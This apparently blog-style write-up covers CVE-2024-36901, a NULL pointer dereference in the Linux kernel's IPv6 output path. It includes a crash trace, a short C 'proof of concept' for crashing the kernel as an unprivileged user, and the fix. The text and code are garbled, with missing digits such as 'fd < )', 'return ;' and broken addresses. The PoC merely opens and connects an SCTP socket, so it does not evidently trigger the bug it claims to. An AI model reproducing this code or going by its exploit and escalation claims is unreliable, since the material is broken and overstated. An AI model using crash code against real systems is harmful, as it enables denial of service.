A recently discovered kernel bug—CVE-2024-36901—impacted the IPv6 networking stack in the Linux kernel, specifically within the ip6_output() function. This post dives into what happened, why it's dangerous, how it could be exploited, and how the kernel community fixed it. We’ll reference real code and keep things straightforward.

Background: What is CVE-2024-36901?

This vulnerability surfaces when the kernel handles IPv6 packets. In certain rare scenarios (often exposed by fuzzers like syzbot), internal networking logic can return NULL for a pointer expected *never* to be NULL. The spot in question is ip6_dst_idev()—usually providing access to details about a network "device."

When ip6_output() fails to check for this NULL, a crash follows (a NULL pointer dereference). This type of bug is always a red flag in kernel land—especially for remote/network-facing code.

How the Crash Happens

Let’s look at the offending function. (Line numbers are from net/ipv6/ip6_output.c.)

struct inet6_dev *idev = ip6_dst_idev(skb_dst(skb));
...
/* the following line can crash if idev is NULL */
ip6_link = idev->dev;

If ip6_dst_idev() returns NULL, then idev->dev triggers an invalid memory access. Here’s what syzbot reported when fuzzing a kernel:

general protection fault, probably for non-canonical address xdffffc00000000bc: 000 [#1] PREEMPT SMP KASAN PTI
...
RIP: 001:ip6_output+x231/x3f net/ipv6/ip6_output.c:237
...
Call Trace:
...
ip6_xmit+xefe/x17f net/ipv6/ip6_output.c:358
sctp_v6_xmit+x9f2/x13f net/sctp/ipv6.c:248
...

This happens in networking code using SCTP over IPv6, but the bug isn’t unique to SCTP—any path where IPv6 transmission is involved can trigger it.

Who Can Trigger This?

- Local users: Any process with ability to open and manipulate IPv6 sockets, plus custom kernel networking settings, can possibly trigger this.
- Remote attack: It’s less likely, but theoretically, a crafted packet sequence from remote hosts could interact with kernel network stack logic and trigger the bug—especially if paired with other vulnerabilities or odd system/router configs.

Why is it dangerous?

- The crash can DOS the kernel (DoS = Denial-of-Service): If an attacker (local or sometimes remote) crafts IPv6 traffic that causes this case, they bring down the machine.
- Potential for privilege escalation: Although this bug "just" dereferences a NULL pointer, in kernels built without certain protections, it might be possible to escalate privileges (by mapping memory at address zero, for example, on misconfigured systems).

Exploiting the Bug (Proof of Concept)

While linux distributions now harden against mapping low memory addresses, here’s how, on a vulnerable system, you could crash the kernel as an unprivileged user:

/* This code simulates a crash scenario by playing fast and loose with IPv6 sockets */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <unistd.h>

int main() {
    int fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < ) { perror("socket"); return 1; }

    struct sockaddr_in6 addr6 = {};
    addr6.sin6_family = AF_INET6;
    // Destination address can be anything, but if local misconfigurations exist, a crash can result
    inet_pton(AF_INET6, "::1", &addr6.sin6_addr);
    addr6.sin6_port = htons(9999);

    connect(fd, (struct sockaddr *)&addr6, sizeof(addr6));
    // If kernel is misconfigured, this could crash it
    close(fd);
    return ;
}

Note: The crash usually occurs if the system’s network stack has certain dev configurations/bugs.

How was it Fixed?

Developers added a defensive check. Now, before using idev->dev, the code ensures idev is not NULL:

Fixed code snippet (from the patch)

struct inet6_dev *idev = ip6_dst_idev(skb_dst(skb));
if (!idev) {
    /* gracefully fail (drop packet, set error, etc) */
    goto out;
}

Official patch reference on kernel.org

Mitigation & Recommendations

- Upgrade Kernel: Any kernel 6.9 (pre-rc6) or similar must be updated. Distros will backport this fix fast.
- Harden local userspace: Block unprivileged user namespaces, limit access to raw/risky networking sockets.

References

- Upstream Patch Commit
- syzkaller fuzzing project
- Syzbot crash report on lore.kernel.org
- SCTP protocol info for Linux

Conclusion

CVE-2024-36901 is a classic example where a rare code path, once uncovered by fuzz testing, can have big stability impacts—even affecting remote network functionality. Modern kernel development (with help from syzbot-style fuzzers) continues to harden against these. Run updated kernels, limit risky config, and watch for patches like these.


For kernel devs and sysadmins who want deep info and all patch details, see the full kernel mailing list thread here.

Timeline

Published on: 05/30/2024 16:15:13 UTC
Last modified on: 08/02/2024 03:43:49 UTC